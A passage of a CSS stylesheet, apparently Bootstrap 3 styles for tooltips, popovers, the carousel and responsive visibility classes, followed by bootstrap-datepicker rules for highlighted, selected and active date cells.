  left:0;
  margin-top:-5px;
  border-width:5px 5px 5px 0;
  border-right-color:#000
}
.tooltip.left .tooltip-arrow {
  top:50%;
  right:0;
  margin-top:-5px;
  border-width:5px 0 5px 5px;
  border-left-color:#000
}
.tooltip.bottom .tooltip-arrow {
  top:0;
  left:50%;
  margin-left:-5px;
  border-width:0 5px 5px;
  border-bottom-color:#000
}
.tooltip.bottom-left .tooltip-arrow {
  top:0;
  right:5px;
  margin-top:-5px;
  border-width:0 5px 5px;
  border-bottom-color:#000
}
.tooltip.bottom-right .tooltip-arrow {
  top:0;
  left:5px;
  margin-top:-5px;
  border-width:0 5px 5px;
  border-bottom-color:#000
}
.tooltip-inner {
  max-width:200px;
  padding:3px 8px;
  color:#fff;
  text-align:center;
  background-color:#000;
  border-radius:4px
}
.tooltip-arrow {
  position:absolute;
  width:0;
  height:0;
  border-color:transparent;
  border-style:solid
}
.popover {
  position:absolute;
  top:0;
  left:0;
  z-index:1060;
  display:none;
  max-width:276px;
  padding:1px;
  font-family:Helvetica Neue,Helvetica,Arial,sans-serif;
  font-style:normal;
  font-weight:400;
  line-height:1.42857143;
  line-break:auto;
  text-align:left;
  text-align:start;
  text-decoration:none;
  text-shadow:none;
  text-transform:none;
  letter-spacing:normal;
  word-break:normal;
  word-spacing:normal;
  word-wrap:normal;
  white-space:normal;
  font-size:14px;
  background-color:#fff;
  background-clip:padding-box;
  border:1px solid #ccc;
  border:1px solid rgba(0,0,0,.2);
  border-radius:6px;
  -webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);
  box-shadow:0 5px 10px #0003
}
.popover.top {
  margin-top:-10px
}
.popover.right {
  margin-left:10px
}
.popover.bottom {
  margin-top:10px
}
.popover.left {
  margin-left:-10px
}
.popover>.arrow {
  border-width:11px
}
.popover>.arrow,
.popover>.arrow:after {
  position:absolute;
  display:block;
  width:0;
  height:0;
  border-color:transparent;
  border-style:solid
}
.popover>.arrow:after {
  content:"";
  border-width:10px
}
.popover.top>.arrow {
  bottom:-11px;
  left:50%;
  margin-left:-11px;
  border-top-color:#999;
  border-top-color:#00000040;
  border-bottom-width:0
}
.popover.top>.arrow:after {
  bottom:1px;
  margin-left:-10px;
  content:" ";
  border-top-color:#fff;
  border-bottom-width:0
}
.popover.right>.arrow {
  top:50%;
  left:-11px;
  margin-top:-11px;
  border-right-color:#999;
  border-right-color:#00000040;
  border-left-width:0
}
.popover.right>.arrow:after {
  bottom:-10px;
  left:1px;
  content:" ";
  border-right-color:#fff;
  border-left-width:0
}
.popover.bottom>.arrow {
  top:-11px;
  left:50%;
  margin-left:-11px;
  border-top-width:0;
  border-bottom-color:#999;
  border-bottom-color:#00000040
}
.popover.bottom>.arrow:after {
  top:1px;
  margin-left:-10px;
  content:" ";
  border-top-width:0;
  border-bottom-color:#fff
}
.popover.left>.arrow {
  top:50%;
  right:-11px;
  margin-top:-11px;
  border-right-width:0;
  border-left-color:#999;
  border-left-color:#00000040
}
.popover.left>.arrow:after {
  right:1px;
  bottom:-10px;
  content:" ";
  border-right-width:0;
  border-left-color:#fff
}
.popover-title {
  padding:8px 14px;
  margin:0;
  font-size:14px;
  background-color:#f7f7f7;
  border-bottom:1px solid #ebebeb;
  border-radius:5px 5px 0 0
}
.popover-content {
  padding:9px 14px
}
.carousel {
  position:relative
}
.carousel-inner {
  position:relative;
  width:100%;
  overflow:hidden
}
.carousel-inner>.item {
  position:relative;
  display:none;
  -webkit-transition:.6s ease-in-out left;
  -o-transition:.6s ease-in-out left;
  transition:.6s ease-in-out left
}
.carousel-inner>.item>img,
.carousel-inner>.item>a>img {
  line-height:1
}
@media all and (transform-3d),(-webkit-transform-3d) {
  .carousel-inner>.item {
    -webkit-transition:-webkit-transform .6s ease-in-out;
    -moz-transition:-moz-transform .6s ease-in-out;
    -o-transition:-o-transform .6s ease-in-out;
    transition:transform .6s ease-in-out;
    -webkit-backface-visibility:hidden;
    -moz-backface-visibility:hidden;
    backface-visibility:hidden;
    -webkit-perspective:1000px;
    -moz-perspective:1000px;
    perspective:1000px
  }
  .carousel-inner>.item.next,
  .carousel-inner>.item.active.right {
    -webkit-transform:translate3d(100%,0,0);
    transform:translate3d(100%,0,0);
    left:0
  }
  .carousel-inner>.item.prev,
  .carousel-inner>.item.active.left {
    -webkit-transform:translate3d(-100%,0,0);
    transform:translate3d(-100%,0,0);
    left:0
  }
  .carousel-inner>.item.next.left,
  .carousel-inner>.item.prev.right,
  .carousel-inner>.item.active {
    -webkit-transform:translate3d(0,0,0);
    transform:translateZ(0);
    left:0
  }
}
.carousel-inner>.active,
.carousel-inner>.next,
.carousel-inner>.prev {
  display:block
}
.carousel-inner>.active {
  left:0
}
.carousel-inner>.next,
.carousel-inner>.prev {
  position:absolute;
  top:0;
  width:100%
}
.carousel-inner>.next {
  left:100%
}
.carousel-inner>.prev {
  left:-100%
}
.carousel-inner>.next.left,
.carousel-inner>.prev.right {
  left:0
}
.carousel-inner>.active.left {
  left:-100%
}
.carousel-inner>.active.right {
  left:100%
}
.carousel-control {
  position:absolute;
  top:0;
  bottom:0;
  left:0;
  width:15%;
  font-size:20px;
  color:#fff;
  text-align:center;
  text-shadow:0 1px 2px rgba(0,0,0,.6);
  background-color:#0000;
  filter:alpha(opacity=50);
  opacity:.5
}
.carousel-control.left {
  background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0%,rgba(0,0,0,.0001) 100%);
  background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0%,rgba(0,0,0,.0001) 100%);
  background-image:linear-gradient(to right,#00000080,#0000);
  filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#80000000",endColorstr="#00000000",GradientType=1);
  background-repeat:repeat-x
}
.carousel-control.right {
  right:0;
  left:auto;
  background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0%,rgba(0,0,0,.5) 100%);
  background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0%,rgba(0,0,0,.5) 100%);
  background-image:linear-gradient(to right,#0000,#00000080);
  filter:progid:DXImageTransform.Microsoft.gradient(startColorstr="#00000000",endColorstr="#80000000",GradientType=1);
  background-repeat:repeat-x
}
.carousel-control:hover,
.carousel-control:focus {
  color:#fff;
  text-decoration:none;
  outline:0;
  filter:alpha(opacity=90);
  opacity:.9
}
.carousel-control .icon-prev,
.carousel-control .icon-next,
.carousel-control .glyphicon-chevron-left,
.carousel-control .glyphicon-chevron-right {
  position:absolute;
  top:50%;
  z-index:5;
  display:inline-block;
  margin-top:-10px
}
.carousel-control .icon-prev,
.carousel-control .glyphicon-chevron-left {
  left:50%;
  margin-left:-10px
}
.carousel-control .icon-next,
.carousel-control .glyphicon-chevron-right {
  right:50%;
  margin-right:-10px
}
.carousel-control .icon-prev,
.carousel-control .icon-next {
  width:20px;
  height:20px;
  font-family:serif;
  line-height:1
}
.carousel-control .icon-prev:before {
  content:"‹"
}
.carousel-control .icon-next:before {
  content:"›"
}
.carousel-indicators {
  position:absolute;
  bottom:10px;
  left:50%;
  z-index:15;
  width:60%;
  padding-left:0;
  margin-left:-30%;
  text-align:center;
  list-style:none
}
.carousel-indicators li {
  display:inline-block;
  width:10px;
  height:10px;
  margin:1px;
  text-indent:-999px;
  cursor:pointer;
  background-color:#000 \	;
  background-color:#0000;
  border:1px solid #fff;
  border-radius:10px
}
.carousel-indicators .active {
  width:12px;
  height:12px;
  margin:0;
  background-color:#fff
}
.carousel-caption {
  position:absolute;
  right:15%;
  bottom:20px;
  left:15%;
  z-index:10;
  padding-top:20px;
  padding-bottom:20px;
  color:#fff;
  text-align:center;
  text-shadow:0 1px 2px rgba(0,0,0,.6)
}
.carousel-caption .btn {
  text-shadow:none
}
@media screen and (min-width: 768px) {
  .carousel-control .glyphicon-chevron-left,
  .carousel-control .glyphicon-chevron-right,
  .carousel-control .icon-prev,
  .carousel-control .icon-next {
    width:30px;
    height:30px;
    margin-top:-10px;
    font-size:30px
  }
  .carousel-control .glyphicon-chevron-left,
  .carousel-control .icon-prev {
    margin-left:-10px
  }
  .carousel-control .glyphicon-chevron-right,
  .carousel-control .icon-next {
    margin-right:-10px
  }
  .carousel-caption {
    right:20%;
    left:20%;
    padding-bottom:30px
  }
  .carousel-indicators {
    bottom:20px
  }
}
.clearfix:before,
.clearfix:after,
.dl-horizontal dd:before,
.dl-horizontal dd:after,
.container:before,
.container:after,
.container-fluid:before,
.container-fluid:after,
.row:before,
.row:after,
.form-horizontal .form-group:before,
.form-horizontal .form-group:after,
.btn-toolbar:before,
.btn-toolbar:after,
.btn-group-vertical>.btn-group:before,
.btn-group-vertical>.btn-group:after,
.nav:before,
.nav:after,
.navbar:before,
.navbar:after,
.navbar-header:before,
.navbar-header:after,
.navbar-collapse:before,
.navbar-collapse:after,
.pager:before,
.pager:after,
.panel-body:before,
.panel-body:after,
.modal-header:before,
.modal-header:after,
.modal-footer:before,
.modal-footer:after {
  display:table;
  content:" "
}
.clearfix:after,
.dl-horizontal dd:after,
.container:after,
.container-fluid:after,
.row:after,
.form-horizontal .form-group:after,
.btn-toolbar:after,
.btn-group-vertical>.btn-group:after,
.nav:after,
.navbar:after,
.navbar-header:after,
.navbar-collapse:after,
.pager:after,
.panel-body:after,
.modal-header:after,
.modal-footer:after {
  clear:both
}
.center-block {
  display:block;
  margin-right:auto;
  margin-left:auto
}
.pull-right {
  float:right!important
}
.pull-left {
  float:left!important
}
.hide {
  display:none!important
}
.show {
  display:block!important
}
.text-hide {
  font:0/0 a;
  color:transparent;
  text-shadow:none;
  background-color:transparent;
  border:0
}
.hidden {
  display:none!important
}
.affix {
  position:fixed
}
@-ms-viewport {
  width:device-width
}
.visible-xs,
.visible-sm,
.visible-md,
.visible-lg,
.visible-xs-block,
.visible-xs-inline,
.visible-xs-inline-block,
.visible-sm-block,
.visible-sm-inline,
.visible-sm-inline-block,
.visible-md-block,
.visible-md-inline,
.visible-md-inline-block,
.visible-lg-block,
.visible-lg-inline,
.visible-lg-inline-block {
  display:none!important
}
@media (max-width: 767px) {
  .visible-xs {
    display:block!important
  }
  table.visible-xs {
    display:table!important
  }
  tr.visible-xs {
    display:table-row!important
  }
  th.visible-xs,
  td.visible-xs {
    display:table-cell!important
  }
}
@media (max-width: 767px) {
  .visible-xs-block {
    display:block!important
  }
}
@media (max-width: 767px) {
  .visible-xs-inline {
    display:inline!important
  }
}
@media (max-width: 767px) {
  .visible-xs-inline-block {
    display:inline-block!important
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-sm {
    display:block!important
  }
  table.visible-sm {
    display:table!important
  }
  tr.visible-sm {
    display:table-row!important
  }
  th.visible-sm,
  td.visible-sm {
    display:table-cell!important
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-sm-block {
    display:block!important
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-sm-inline {
    display:inline!important
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .visible-sm-inline-block {
    display:inline-block!important
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-md {
    display:block!important
  }
  table.visible-md {
    display:table!important
  }
  tr.visible-md {
    display:table-row!important
  }
  th.visible-md,
  td.visible-md {
    display:table-cell!important
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-md-block {
    display:block!important
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-md-inline {
    display:inline!important
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .visible-md-inline-block {
    display:inline-block!important
  }
}
@media (min-width: 1200px) {
  .visible-lg {
    display:block!important
  }
  table.visible-lg {
    display:table!important
  }
  tr.visible-lg {
    display:table-row!important
  }
  th.visible-lg,
  td.visible-lg {
    display:table-cell!important
  }
}
@media (min-width: 1200px) {
  .visible-lg-block {
    display:block!important
  }
}
@media (min-width: 1200px) {
  .visible-lg-inline {
    display:inline!important
  }
}
@media (min-width: 1200px) {
  .visible-lg-inline-block {
    display:inline-block!important
  }
}
@media (max-width: 767px) {
  .hidden-xs {
    display:none!important
  }
}
@media (min-width: 768px) and (max-width: 991px) {
  .hidden-sm {
    display:none!important
  }
}
@media (min-width: 992px) and (max-width: 1199px) {
  .hidden-md {
    display:none!important
  }
}
@media (min-width: 1200px) {
  .hidden-lg {
    display:none!important
  }
}
.visible-print {
  display:none!important
}
@media print {
  .visible-print {
    display:block!important
  }
  table.visible-print {
    display:table!important
  }
  tr.visible-print {
    display:table-row!important
  }
  th.visible-print,
  td.visible-print {
    display:table-cell!important
  }
}
.visible-print-block {
  display:none!important
}
@media print {
  .visible-print-block {
    display:block!important
  }
}
.visible-print-inline {
  display:none!important
}
@media print {
  .visible-print-inline {
    display:inline!important
  }
}
.visible-print-inline-block {
  display:none!important
}
@media print {
  .visible-print-inline-block {
    display:inline-block!important
  }
}
@media print {
  .hidden-print {
    display:none!important
  }
}
.datepicker table tr td.old,
.datepicker table tr td.new {
  color:#777
}
.datepicker table tr td.disabled,
.datepicker table tr td.disabled:hover {
  background:none;
  color:#777;
  cursor:default
}
.datepicker table tr td.today:focus,
.datepicker table tr td.today:hover:focus,
.datepicker table tr td.today.disabled:focus,
.datepicker table tr td.today.disabled:hover:focus,
.datepicker table tr td.today.focus,
.datepicker table tr td.today:hover.focus,
.datepicker table tr td.today.disabled.focus,
.datepicker table tr td.today.disabled:hover.focus {
  color:#000;
  background-color:#ffc966;
  border-color:#b37400
}
.datepicker table tr td.today:hover,
.datepicker table tr td.today:hover:hover,
.datepicker table tr td.today.disabled:hover,
.datepicker table tr td.today.disabled:hover:hover {
  color:#000;
  background-color:#ffc966;
  border-color:#f59e00
}
.datepicker table tr td.today:active,
.datepicker table tr td.today:hover:active,
.datepicker table tr td.today.disabled:active,
.datepicker table tr td.today.disabled:hover:active,
.datepicker table tr td.today.active,
.datepicker table tr td.today:hover.active,
.datepicker table tr td.today.disabled.active,
.datepicker table tr td.today.disabled:hover.active,
.open>.dropdown-toggle.datepicker table tr td.today,
.open>.dropdown-toggle.datepicker table tr td.today:hover,
.open>.dropdown-toggle.datepicker table tr td.today.disabled,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:hover {
  color:#000;
  background-color:#ffc966;
  background-image:none;
  border-color:#f59e00
}
.datepicker table tr td.today:active:hover,
.datepicker table tr td.today:hover:active:hover,
.datepicker table tr td.today.disabled:active:hover,
.datepicker table tr td.today.disabled:hover:active:hover,
.datepicker table tr td.today.active:hover,
.datepicker table tr td.today:hover.active:hover,
.datepicker table tr td.today.disabled.active:hover,
.datepicker table tr td.today.disabled:hover.active:hover,
.open>.dropdown-toggle.datepicker table tr td.today:hover,
.open>.dropdown-toggle.datepicker table tr td.today:hover:hover,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:hover,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:hover:hover,
.datepicker table tr td.today:active:focus,
.datepicker table tr td.today:hover:active:focus,
.datepicker table tr td.today.disabled:active:focus,
.datepicker table tr td.today.disabled:hover:active:focus,
.datepicker table tr td.today.active:focus,
.datepicker table tr td.today:hover.active:focus,
.datepicker table tr td.today.disabled.active:focus,
.datepicker table tr td.today.disabled:hover.active:focus,
.open>.dropdown-toggle.datepicker table tr td.today:focus,
.open>.dropdown-toggle.datepicker table tr td.today:hover:focus,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:focus,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:hover:focus,
.datepicker table tr td.today:active.focus,
.datepicker table tr td.today:hover:active.focus,
.datepicker table tr td.today.disabled:active.focus,
.datepicker table tr td.today.disabled:hover:active.focus,
.datepicker table tr td.today.active.focus,
.datepicker table tr td.today:hover.active.focus,
.datepicker table tr td.today.disabled.active.focus,
.datepicker table tr td.today.disabled:hover.active.focus,
.open>.dropdown-toggle.datepicker table tr td.today.focus,
.open>.dropdown-toggle.datepicker table tr td.today:hover.focus,
.open>.dropdown-toggle.datepicker table tr td.today.disabled.focus,
.open>.dropdown-toggle.datepicker table tr td.today.disabled:hover.focus {
  color:#000;
  background-color:#ffbc42;
  border-color:#b37400
}
.datepicker table tr td.today.disabled:hover,
.datepicker table tr td.today:hover.disabled:hover,
.datepicker table tr td.today.disabled.disabled:hover,
.datepicker table tr td.today.disabled:hover.disabled:hover,
.datepicker table tr td.today[disabled]:hover,
.datepicker table tr td.today:hover[disabled]:hover,
.datepicker table tr td.today.disabled[disabled]:hover,
.datepicker table tr td.today.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.today:hover,
fieldset[disabled] .datepicker table tr td.today:hover:hover,
fieldset[disabled] .datepicker table tr td.today.disabled:hover,
fieldset[disabled] .datepicker table tr td.today.disabled:hover:hover,
.datepicker table tr td.today.disabled:focus,
.datepicker table tr td.today:hover.disabled:focus,
.datepicker table tr td.today.disabled.disabled:focus,
.datepicker table tr td.today.disabled:hover.disabled:focus,
.datepicker table tr td.today[disabled]:focus,
.datepicker table tr td.today:hover[disabled]:focus,
.datepicker table tr td.today.disabled[disabled]:focus,
.datepicker table tr td.today.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.today:focus,
fieldset[disabled] .datepicker table tr td.today:hover:focus,
fieldset[disabled] .datepicker table tr td.today.disabled:focus,
fieldset[disabled] .datepicker table tr td.today.disabled:hover:focus,
.datepicker table tr td.today.disabled.focus,
.datepicker table tr td.today:hover.disabled.focus,
.datepicker table tr td.today.disabled.disabled.focus,
.datepicker table tr td.today.disabled:hover.disabled.focus,
.datepicker table tr td.today[disabled].focus,
.datepicker table tr td.today:hover[disabled].focus,
.datepicker table tr td.today.disabled[disabled].focus,
.datepicker table tr td.today.disabled:hover[disabled].focus,
fieldset[disabled] .datepicker table tr td.today.focus,
fieldset[disabled] .datepicker table tr td.today:hover.focus,
fieldset[disabled] .datepicker table tr td.today.disabled.focus,
fieldset[disabled] .datepicker table tr td.today.disabled:hover.focus {
  background-color:#ffdb99;
  border-color:#ffb733
}
.datepicker table tr td.today .badge,
.datepicker table tr td.today:hover .badge,
.datepicker table tr td.today.disabled .badge,
.datepicker table tr td.today.disabled:hover .badge {
  color:#ffdb99;
  background-color:#000
}
.datepicker table tr td.range.today:focus,
.datepicker table tr td.range.today:hover:focus,
.datepicker table tr td.range.today.disabled:focus,
.datepicker table tr td.range.today.disabled:hover:focus,
.datepicker table tr td.range.today.focus,
.datepicker table tr td.range.today:hover.focus,
.datepicker table tr td.range.today.disabled.focus,
.datepicker table tr td.range.today.disabled:hover.focus {
  color:#000;
  background-color:#f4b747;
  border-color:#815608
}
.datepicker table tr td.range.today:hover,
.datepicker table tr td.range.today:hover:hover,
.datepicker table tr td.range.today.disabled:hover,
.datepicker table tr td.range.today.disabled:hover:hover {
  color:#000;
  background-color:#f4b747;
  border-color:#bf800c
}
.datepicker table tr td.range.today:active,
.datepicker table tr td.range.today:hover:active,
.datepicker table tr td.range.today.disabled:active,
.datepicker table tr td.range.today.disabled:hover:active,
.datepicker table tr td.range.today.active,
.datepicker table tr td.range.today:hover.active,
.datepicker table tr td.range.today.disabled.active,
.datepicker table tr td.range.today.disabled:hover.active,
.open>.dropdown-toggle.datepicker table tr td.range.today,
.open>.dropdown-toggle.datepicker table tr td.range.today:hover,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:hover {
  color:#000;
  background-color:#f4b747;
  background-image:none;
  border-color:#bf800c
}
.datepicker table tr td.range.today:active:hover,
.datepicker table tr td.range.today:hover:active:hover,
.datepicker table tr td.range.today.disabled:active:hover,
.datepicker table tr td.range.today.disabled:hover:active:hover,
.datepicker table tr td.range.today.active:hover,
.datepicker table tr td.range.today:hover.active:hover,
.datepicker table tr td.range.today.disabled.active:hover,
.datepicker table tr td.range.today.disabled:hover.active:hover,
.open>.dropdown-toggle.datepicker table tr td.range.today:hover,
.open>.dropdown-toggle.datepicker table tr td.range.today:hover:hover,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:hover,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:hover:hover,
.datepicker table tr td.range.today:active:focus,
.datepicker table tr td.range.today:hover:active:focus,
.datepicker table tr td.range.today.disabled:active:focus,
.datepicker table tr td.range.today.disabled:hover:active:focus,
.datepicker table tr td.range.today.active:focus,
.datepicker table tr td.range.today:hover.active:focus,
.datepicker table tr td.range.today.disabled.active:focus,
.datepicker table tr td.range.today.disabled:hover.active:focus,
.open>.dropdown-toggle.datepicker table tr td.range.today:focus,
.open>.dropdown-toggle.datepicker table tr td.range.today:hover:focus,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:focus,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:hover:focus,
.datepicker table tr td.range.today:active.focus,
.datepicker table tr td.range.today:hover:active.focus,
.datepicker table tr td.range.today.disabled:active.focus,
.datepicker table tr td.range.today.disabled:hover:active.focus,
.datepicker table tr td.range.today.active.focus,
.datepicker table tr td.range.today:hover.active.focus,
.datepicker table tr td.range.today.disabled.active.focus,
.datepicker table tr td.range.today.disabled:hover.active.focus,
.open>.dropdown-toggle.datepicker table tr td.range.today.focus,
.open>.dropdown-toggle.datepicker table tr td.range.today:hover.focus,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled.focus,
.open>.dropdown-toggle.datepicker table tr td.range.today.disabled:hover.focus {
  color:#000;
  background-color:#f2aa25;
  border-color:#815608
}
.datepicker table tr td.range.today.disabled:hover,
.datepicker table tr td.range.today:hover.disabled:hover,
.datepicker table tr td.range.today.disabled.disabled:hover,
.datepicker table tr td.range.today.disabled:hover.disabled:hover,
.datepicker table tr td.range.today[disabled]:hover,
.datepicker table tr td.range.today:hover[disabled]:hover,
.datepicker table tr td.range.today.disabled[disabled]:hover,
.datepicker table tr td.range.today.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.range.today:hover,
fieldset[disabled] .datepicker table tr td.range.today:hover:hover,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover:hover,
.datepicker table tr td.range.today.disabled:focus,
.datepicker table tr td.range.today:hover.disabled:focus,
.datepicker table tr td.range.today.disabled.disabled:focus,
.datepicker table tr td.range.today.disabled:hover.disabled:focus,
.datepicker table tr td.range.today[disabled]:focus,
.datepicker table tr td.range.today:hover[disabled]:focus,
.datepicker table tr td.range.today.disabled[disabled]:focus,
.datepicker table tr td.range.today.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.range.today:focus,
fieldset[disabled] .datepicker table tr td.range.today:hover:focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled:focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover:focus,
.datepicker table tr td.range.today.disabled.focus,
.datepicker table tr td.range.today:hover.disabled.focus,
.datepicker table tr td.range.today.disabled.disabled.focus,
.datepicker table tr td.range.today.disabled:hover.disabled.focus,
.datepicker table tr td.range.today[disabled].focus,
.datepicker table tr td.range.today:hover[disabled].focus,
.datepicker table tr td.range.today.disabled[disabled].focus,
.datepicker table tr td.range.today.disabled:hover[disabled].focus,
fieldset[disabled] .datepicker table tr td.range.today.focus,
fieldset[disabled] .datepicker table tr td.range.today:hover.focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled.focus,
fieldset[disabled] .datepicker table tr td.range.today.disabled:hover.focus {
  background-color:#f7ca77;
  border-color:#f1a417
}
.datepicker table tr td.range.today .badge,
.datepicker table tr td.range.today:hover .badge,
.datepicker table tr td.range.today.disabled .badge,
.datepicker table tr td.range.today.disabled:hover .badge {
  color:#f7ca77;
  background-color:#000
}
.datepicker table tr td.selected,
.datepicker table tr td.selected:hover,
.datepicker table tr td.selected.disabled,
.datepicker table tr td.selected.disabled:hover {
  color:#fff;
  background-color:#777;
  border-color:#555;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td.selected:focus,
.datepicker table tr td.selected:hover:focus,
.datepicker table tr td.selected.disabled:focus,
.datepicker table tr td.selected.disabled:hover:focus,
.datepicker table tr td.selected.focus,
.datepicker table tr td.selected:hover.focus,
.datepicker table tr td.selected.disabled.focus,
.datepicker table tr td.selected.disabled:hover.focus {
  color:#fff;
  background-color:#5e5e5e;
  border-color:#161616
}
.datepicker table tr td.selected:hover,
.datepicker table tr td.selected:hover:hover,
.datepicker table tr td.selected.disabled:hover,
.datepicker table tr td.selected.disabled:hover:hover {
  color:#fff;
  background-color:#5e5e5e;
  border-color:#373737
}
.datepicker table tr td.selected:active,
.datepicker table tr td.selected:hover:active,
.datepicker table tr td.selected.disabled:active,
.datepicker table tr td.selected.disabled:hover:active,
.datepicker table tr td.selected.active,
.datepicker table tr td.selected:hover.active,
.datepicker table tr td.selected.disabled.active,
.datepicker table tr td.selected.disabled:hover.active,
.open>.dropdown-toggle.datepicker table tr td.selected,
.open>.dropdown-toggle.datepicker table tr td.selected:hover,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:hover {
  color:#fff;
  background-color:#5e5e5e;
  background-image:none;
  border-color:#373737
}
.datepicker table tr td.selected:active:hover,
.datepicker table tr td.selected:hover:active:hover,
.datepicker table tr td.selected.disabled:active:hover,
.datepicker table tr td.selected.disabled:hover:active:hover,
.datepicker table tr td.selected.active:hover,
.datepicker table tr td.selected:hover.active:hover,
.datepicker table tr td.selected.disabled.active:hover,
.datepicker table tr td.selected.disabled:hover.active:hover,
.open>.dropdown-toggle.datepicker table tr td.selected:hover,
.open>.dropdown-toggle.datepicker table tr td.selected:hover:hover,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:hover,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:hover:hover,
.datepicker table tr td.selected:active:focus,
.datepicker table tr td.selected:hover:active:focus,
.datepicker table tr td.selected.disabled:active:focus,
.datepicker table tr td.selected.disabled:hover:active:focus,
.datepicker table tr td.selected.active:focus,
.datepicker table tr td.selected:hover.active:focus,
.datepicker table tr td.selected.disabled.active:focus,
.datepicker table tr td.selected.disabled:hover.active:focus,
.open>.dropdown-toggle.datepicker table tr td.selected:focus,
.open>.dropdown-toggle.datepicker table tr td.selected:hover:focus,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:focus,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:hover:focus,
.datepicker table tr td.selected:active.focus,
.datepicker table tr td.selected:hover:active.focus,
.datepicker table tr td.selected.disabled:active.focus,
.datepicker table tr td.selected.disabled:hover:active.focus,
.datepicker table tr td.selected.active.focus,
.datepicker table tr td.selected:hover.active.focus,
.datepicker table tr td.selected.disabled.active.focus,
.datepicker table tr td.selected.disabled:hover.active.focus,
.open>.dropdown-toggle.datepicker table tr td.selected.focus,
.open>.dropdown-toggle.datepicker table tr td.selected:hover.focus,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled.focus,
.open>.dropdown-toggle.datepicker table tr td.selected.disabled:hover.focus {
  color:#fff;
  background-color:#4c4c4c;
  border-color:#161616
}
.datepicker table tr td.selected.disabled:hover,
.datepicker table tr td.selected:hover.disabled:hover,
.datepicker table tr td.selected.disabled.disabled:hover,
.datepicker table tr td.selected.disabled:hover.disabled:hover,
.datepicker table tr td.selected[disabled]:hover,
.datepicker table tr td.selected:hover[disabled]:hover,
.datepicker table tr td.selected.disabled[disabled]:hover,
.datepicker table tr td.selected.disabled:hover[disabled]:hover,
fieldset[disabled] .datepicker table tr td.selected:hover,
fieldset[disabled] .datepicker table tr td.selected:hover:hover,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover:hover,
.datepicker table tr td.selected.disabled:focus,
.datepicker table tr td.selected:hover.disabled:focus,
.datepicker table tr td.selected.disabled.disabled:focus,
.datepicker table tr td.selected.disabled:hover.disabled:focus,
.datepicker table tr td.selected[disabled]:focus,
.datepicker table tr td.selected:hover[disabled]:focus,
.datepicker table tr td.selected.disabled[disabled]:focus,
.datepicker table tr td.selected.disabled:hover[disabled]:focus,
fieldset[disabled] .datepicker table tr td.selected:focus,
fieldset[disabled] .datepicker table tr td.selected:hover:focus,
fieldset[disabled] .datepicker table tr td.selected.disabled:focus,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover:focus,
.datepicker table tr td.selected.disabled.focus,
.datepicker table tr td.selected:hover.disabled.focus,
.datepicker table tr td.selected.disabled.disabled.focus,
.datepicker table tr td.selected.disabled:hover.disabled.focus,
.datepicker table tr td.selected[disabled].focus,
.datepicker table tr td.selected:hover[disabled].focus,
.datepicker table tr td.selected.disabled[disabled].focus,
.datepicker table tr td.selected.disabled:hover[disabled].focus,
fieldset[disabled] .datepicker table tr td.selected.focus,
fieldset[disabled] .datepicker table tr td.selected:hover.focus,
fieldset[disabled] .datepicker table tr td.selected.disabled.focus,
fieldset[disabled] .datepicker table tr td.selected.disabled:hover.focus {
  background-color:#777;
  border-color:#555
}
.datepicker table tr td.selected .badge,
.datepicker table tr td.selected:hover .badge,
.datepicker table tr td.selected.disabled .badge,
.datepicker table tr td.selected.disabled:hover .badge {
  color:#777;
  background-color:#fff
}
.datepicker table tr td.active,
.datepicker table tr td.active:hover,
.datepicker table tr td.active.disabled,
.datepicker table tr td.active.disabled:hover {
  color:#fff;
  background-color:#337ab7;
  border-color:#2e6da4;
  text-shadow:0 -1px 0 rgba(0,0,0,.25)
}
.datepicker table tr td.active:focus,
.datepicker table tr td.active:hover:focus,
.datepicker table tr td.active.disabled:focus,
.datepicker table tr td.active.disabled:hover:focus,
.datepicker table tr td.active.focus,
.datepicker table tr td.active:hover.focus,
.datepicker table tr td.active.disabled.focus,
.datepicker table tr td.active.disabled:hover.focus {
  color:#fff;
  background-color:#286090;
  border-color:#122b40
}
.datepicker table tr td.active:hover,
